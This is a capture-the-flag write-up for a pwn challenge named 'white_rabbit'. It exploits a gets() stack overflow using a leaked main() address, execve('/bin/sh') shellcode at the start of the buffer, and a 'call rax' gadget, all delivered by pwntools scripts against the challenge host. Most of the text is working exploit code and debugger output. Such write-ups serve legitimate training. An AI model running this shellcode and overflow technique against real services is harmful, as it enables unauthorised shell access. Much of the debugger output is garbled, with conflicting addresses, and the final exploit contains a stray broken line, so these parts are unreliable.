

Enumeration

The main function does only 2 interesting things

- Displays the address of main() as a pointer with printf()
- Calls the follow() function

```
+0x1180  int32_t main()

+0x1180  {
+0x119d    setvbuf(__bss_start, nullptr, 2, 0);
+0x11bb    setvbuf(stdin, nullptr, 2, 0);
+0x11d9    setvbuf(stderr, nullptr, 2, 0);
+0x11e8    puts("\n (\_/_)");
+0x11f7    puts(&data_200d);
+0x1215    printf(" / > %p\n\n", main);
+0x1224    puts("follow the white rabbit...");
```

+0x122e follow();

```
+0x1239    return 0;
+0x1180 }
```

The follow() function declares a buffer and then receives data with gets, the buffer is at a stack offset of 0x78 or 120 in decimal

```
+0x1169  char* follow()

+0x1169  {
+0x117f    char buffer[0x64]; Type: char[0x64]
+0x117f    return gets(&buffer) Stack Offset: -0x78
+0x1169 }
```

UndeterminedValue

Exploit

Leak binary base address

We start by obtaining the leak, since it shows the address of main() as a pointer, we can subtract its offset and obtain the base address of the binary

```
pwndbg> p main
$1 = {int ()} 0x1180 <main>
pwndbg> |
```

```

#!/usr/bin/python3
from pwn import *

#shell = remote("whiterabbit.chal.wwctf.com", 1337)
shell = gdb.debug("./white_rabbit", "continue")
#shell = process("./white_rabbit")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180

log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

```

Start	End	Perm	Size	Offset	File
0x59ab15436000	0x59ab15437000	r--p	1000	0	/home/user/Desktop/WhiteRabbit/White_rabbit
0x59ab15437000	0x59ab15438000	r-xp	1000	1000	/home/user/Desktop/WhiteRabbit/white_rabbit
0x59ab15438000	0x59ab15439000	r--p	1000	2000	/home/user/Desktop/WhiteRabbit/white_rabbit
0x59ab15439000	0x59ab1543a000	r--p	1000	3000	/home/user/Desktop/WhiteRabbit/white_rabbit
0x59ab1543a000	0x59ab1543b000	rw-p	1000	4000	/home/user/Desktop/WhiteRabbit/white_rabbit
0x770547c00000	0x770547c28000	r--p	28000	28000	/usr/lib/x86_64-linux-gnu/libc.so.6
0x770547c28000	0x770547c28000	r--p	28000	28000	/usr/lib/x86_64-linux-gnu/libc.so.6
0x770547db0000	0x770547dff000	r--p	4f000	1b0000	/usr/lib/x86_64-linux-gnu/libc.so.6
0x770547dff000	0x770547e03000	r--p	4000	1fe000	/usr/lib/x86_64-linux-gnu/libc.so.6
0x770547e03000	0x770547e05000	rw-p	2000	202000	/usr/lib/x86_64-linux-gnu/libc.so.6
0x770547e05000	0x770547e12000	rw-p	d000	0	[anon.770547e05]
0x770547e12000	0x770547e12000	rw-p	3000	0	[anon.770547e77]
0x770547e40000	0x770547e96000	r--p	2000	0	[anon.770547e94]
0x770547e96000	0x770547e97000	r--p	1000	0	/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x770547e97000	0x770547ec2000	r-xp	2b000	1000	/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x770547ec2000	0x770547ecc000	r--p	a000	2c000	/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x770547ecc000	0x770547ece000	r--p	2000	36000	/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x770547ece000	0x770547ed0000	rw-p	2000	38000	/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffd3922a000	0x7ffd3924b000	rwxp	21000	0	[stack]
0x7ffd3924b000	0x7ffd39254000	r--p	4000	0	[vvar]
0x7ffd39254000	0x7ffd39258000	r--p	4000	0	[vdso]
0x7ffd39258000	0xffffffffff601000	--xp	2000	0	[vsyscall]
0xffffffffff601000	0xffffffffff601000	--xp	1000	0	[vsyscall]

Buffer Overflow (ret2reg)

We know that the buffer is at an offset of 120 from the stack, so the initial poc to overwrite the return address would be as follows

```

#!/usr/bin/python3
from pwn import *

#shell = remote("whiterabbit.chal.wwctf.com", 1337)
shell = gdb.debug("./white_rabbit", "continue")
#shell = process("./white_rabbit")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180

offset = 120
junk = b"A" * offset

payload = b""
payload += junk

payload

```

```

payload += b"B" * 8

shell.sendlineafter(b"...\n", payload)
shell.interactive()

```

In the debugger we can see that in addition to overwriting the return address, the return value in eax is a pointer to the start of our buffer

```

Reading /usr/lib/debug/.build-id/8d/930f38a5a7994e560c589918c45f65d87a71d6.debug from remote target...
0x000007768416c6540 in start () from target:/lib64/ld-linux-x86-64.so.2
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Program received signal SIGSEGV, Segmentation fault.
0x000006202014a417f in follow () from /tmp/warmup.c:11
aviso: 11      warmup.c: No existe el archivo o el directorio
LEGENDA: STACK | HEAP | CODE | DATA | WX | RODATA
[REGISTERS / show_flags on / show_compact_regs off]
RAX 0x7ffffebdb26c0 ← 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
RBX 0x7ffffebdb2080 → 0x7ffffebdb37af ← './white_rabbit'
RCX 0x768416038e0 (IO_2_1_stdin.) ← 0xbfa02086
RDX 0
RDI 0x76841605720 (IO_stdfile_0_lock) ← 0
RSI 0x76841603963 (IO_2_1_stdin.+131) ← 0x605720000000000a /* '\n' */
R8 0
R9 0
R10 0x77684140e008 ← 0x110022000047e8
R11 0x246
R12 1
R13 0
R14 0x6202014a6dd8 → 0x6202014a4110 ← endbr64
R15 0x768416d0000 (rtld_global) → 0x7768416e02e0 → 0x6202014a3000 ← 0x10102464c457f
RBP 0x4141444141414141 ('AAAAAAA')
RSP 0x7ffffebdb2738 ← 'BBBBBBBB'
RIP 0x6202014a417f (follow+22) ← ret
EFLAGS 0x10206 [cf PF af zf st IF df of ]
[DISASM / x86_64 / set emulate on]
>0x6202014a417f <follow+22> ret
[0x4242424242424242>
[STACK]
00:0000| rsp 0x7ffffebdb2738 ← 'BBBBBBBB'
01:0008| 0x7ffffebdb2740 → 0x7ffffebdb2700 ← 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
02:0010| 0x7ffffebdb2748 → 0x77684142a1ca (_libc_start_main+12) ← mov edi, eax
03:0018| 0x7ffffebdb2750 → 0x7ffffebdb2790 → 0x6202014a6dd8 → 0x6202014a4110 ← endbr64
04:0020| 0x7ffffebdb2758 → 0x7ffffebdb2868 → 0x7ffffebdb37af ← './white_rabbit'
05:0028| 0x7ffffebdb2760 → 0x1014a3040
06:0030| 0x7ffffebdb2768 → 0x6202014a4180 (main) ← push rbp
07:0038| 0x7ffffebdb2770 → 0x7ffffebdb2868 → 0x7ffffebdb37af ← './white_rabbit'

pwndbg>

```

So the exploit is based, send a shellcode to the start of the payload, fill with A's up to 120, in the return address send a gadget that call rax (start of the payload = shellcode), in this case I wrote the shellcode with `asm()` but you can use one from the internet

```
~/Descargas/WhiteRabbit > ropper --file white_rabbit --jmp rax
BinaryExploitation

JMP Instructions
=====
0x00000000000001014: call rax;
0x000000000000010bf: jmp rax;
0x00000000000001100: jmp rax;

3 gadgets found
~/Descargas/WhiteRabbit >
```

```
#!/usr/bin/python3
from pwn import *

shell = remote("whiterabbit.chal.wwctf.com", 1337)
shell = gdb.debug("./white_rabbit", "b *_init+20\ncontinue")
#shell = process("./white_rabbit")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180

shellcode = asm("""
    push 0x3b          # execve()
    pop rax            # $rax = execve()

    mov rdi, 0x68732f6e69622f # $rdi = "/bin/sh"
    push rdi          # $rsp = &/bin/sh"
    push rsp          # &/bin/sh"
    pop rdi          # $rdi = &/bin/sh"

    cdq              # $rdx = NULL
    push rdx          # $rsp = &0x0
    pop rsi          # $rsi = NULL

    syscall           # system call
""", arch="amd64")

offset = 120
junk = b"A" * (offset - len(shellcode))

payload = b""
payload += shellcode
```

```

payload += junk
payload += p64(binary_base + 0x1014) # call rax;

shell.sendlineafter(b"...\n", payload)
shell.interactive()

```

Debugging Exploit

In the return address execute call rax (rax points to the start of the payload)

Punto de interrupción 1 at 0x566ad2a14014
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Breakpoint 1, 0x0000566ad2a14014 in _init ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

[REGISTERS / show-flags on / show-compact-reg off]

RAX 0x7ffc40e09440 ← 0x69622fbf48583b6a
RBX 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
RCX 0x7b6b952038e0 (_IO_2_1_stdin) ← 0xbad208b
RDX 0
RDI 0x7b6b95205720 (_IO_stdfile_0_lock) ← 0
RSI 0x7b6b95203963 (_IO_2_1_stdin+131) → 0x205720000000000a /* '\n' */
R8 0
R9 0
R10 0x7b6b9500e008 ← 0x110022000047e8
R11 0x246
R12 1
R13 0
R14 0x566ad2a16dd8 → 0x566ad2a14110 ← endbr64
R15 0x7b6b952d9000 (_rtld_global) → 0x7b6b952da2e0 → 0x566ad2a13000 ← 0x10102464c457f
RBP 0x4141414141414141 ('AAAAAAA')
RSP 0x7fc40e094c0 → 0x7fc40e09500 ← 1
RIP 0x566ad2a14014 (_init+20) ← call rax
EFLAGS 0x202 [cf pf af zf sf IF df of]

[DISASM / x86-64 / set emulate on]

call rax <0x7ffc40e09440>

0x566ad2a14016 <_init+22>
0x566ad2a1401a <_init+26>

add rsp, 8
ret

add byte ptr [rax], al
add byte ptr [rax], al
add bh, bh
xor eax, 0x2fa
jmp qword ptr [rip + 0x2fc] <_dl_runtime_resolve_xsavec>

0x566ad2a1401b
0x566ad2a1401d
0x566ad2a1401f
0x566ad2a14021
0x566ad2a14026

+
0x7b6b952b62f0 <_dl_runtime_resolve_xsavec>
0x7b6b952b62f4 <_dl_runtime_resolve_xsavec+4>
0x7b6b952b62f5 <_dl_runtime_resolve_xsavec+5>

endbr64
push rbx
mov rbx, rsp

[STACK]

01:0000 rsp 0x7ffc40e094c0 → 0x7ffc40e09500 ← 1
01:0008 0x7ffc40e094c8 → 0x7b6b9502a1ca (_libc_start_call_main+122) ← mov edi, eax
02:0010 0x7ffc40e094d0 → 0x7ffc40e09510 → 0x566ad2a16dd8 → 0x566ad2a14110 ← endbr64
03:0018 0x7ffc40e094d8 → 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
04:0020 0x7ffc40e094e0 ← 0x1d2a13040
05:0028 0x7ffc40e094e8 → 0x566ad2a14180 (main) ← push rbp
06:0030 0x7ffc40e094f0 → 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
07:0038 0x7ffc40e094f8 ← 0x2f364414c25033f6

pwndbg> |

When entering the call we can see that it executes what is at the beginning of the buffer (the shellcode)

The screenshot shows the pwndbg debugger interface. At the top, assembly code is displayed:

```

04:0020 | 0x7ffc40e094e0 ← 0xd2a13040
05:0028 | 0x7ffc40e094e8 → 0x566ad2a14180 (main) ← push rbp
06:0030 | 0x7ffc40e094f0 → 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
07:0038 | 0x7ffc40e094f8 → 0x2f364414c25033f6

```

Below the assembly, the registers and stack dump are shown:

```

pwndbg> si
0x000007ffc40e09440 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
RAX 0x7ffc40e09440 ← 0x69622fbf4853b6a
RBX 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
RCX 0x7b6b952038e0 (.IO_2_1_stdin_) ← 0xbfa200b
RDX 0
RDI 0x7bb95205720 (.IO_stdio_0_lock) ← 0
RSI 0x7bb95203963 (.IO_2_1_stdin_+131) ← 0x205720000000000a /* '\n' */
R8 0
R9 0
R10 0x7b6b9500e008 ← 0x110022000047e8
R11 0x246
R12 1
R13 0
R14 0x566ad2a16dd8 → 0x566ad2a14110 ← endbr64
R15 0x7bb952d9000 (.rtld_globat) → 0x7b6b952da2e0 → 0x566ad2a13000 ← 0x10102464c457f
RBP 0x4141441414141411 ('AAAAAAA')
+RSP 0x7ffc40e094b8 → 0x566ad2a14016 (.init+22) ← add rsp, 8
+RIP 0x7ffc40e09440 ← 0x69622fbf48583b6a
EFLAGS 0x202 [ pf af zf sf IF df of ]

```

The assembly code block is highlighted with a red box:

```

[ DISASM / x86-64 / set emulate on ]
0x7ffc40e09440 push 0x3b
0x7ffc40e09442 pop rax
0x7ffc40e09443 movabs rdi, 0x68732f6e69622f
0x7ffc40e09444 push rdi
0x7ffc40e09446 push rsp
0x7ffc40e0944f pop rdi
0x7ffc40e09450 cdq
0x7ffc40e09451 push rdx
0x7ffc40e09452 pop rsi
0x7ffc40e09453 syscall <SYS_execve>

```

The stack dump is also visible:

```

[ STACK ]
00:0000 rsp 0x7ffc40e094b8 → 0x566ad2a14016 (.init+22) ← add rsp, 8
01:0008 0x7ffc40e094c0 → 0x7ffc40e09500 ← 1
02:0010 0x7ffc40e094c8 → 0xb6b9502a1ca (.lIBC_start_call_main+12) ← mov edi, eax
03:0018 0x7ffc40e094d0 → 0x7ffc40e09510 → 0x566ad2a16dd8 → 0x566ad2a14110 ← endbr64
04:0020 0x7ffc40e094d8 → 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'
05:0028 0x7ffc40e094e0 ← 0xd2a13040
06:0030 0x7ffc40e094e8 → 0x566ad2a14180 (main) ← push rbp
07:0038 ... 0x7ffc40e094f0 → 0x7ffc40e095e8 → 0x7ffc40e0a7af ← './white_rabbit'

```

Final Exploit

```

#!/usr/bin/python3
from pwn import *

shell = remote("whiterabbit.chal.wwctf.com", 1337)
#shell = gdb.debug("./white_rabbit", "continue")
#shell = process("./white_rabbit")

shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180

shellcode = asm("""
    push 0x3b          # execve()
    pop rax           # $rax = execve()

    mov rdi, 0x68732f6e69622f # $rdi = "/bin/sh"
    push rdi          # $rsp = &/bin/sh
    push rsp          # &/bin/sh
    pop rdi           # $rdi = &/bin/sh

    cdq               # $rdx = NULL
    push rdx          # $rsp = &0x0
    pop rsi           # $rsi = NULL

    syscall           # system call
""")

```

```
"""", arch="amd64")

offset = 120
junk = b"A" * (offset - len(shellcode))

payload = b""
payload += shellcode
payload += junk
payload += p64(binary_base + 0x1014) # call rax;

shell.sendlineafter(b"...\\n", payload)
shell.interactive()
```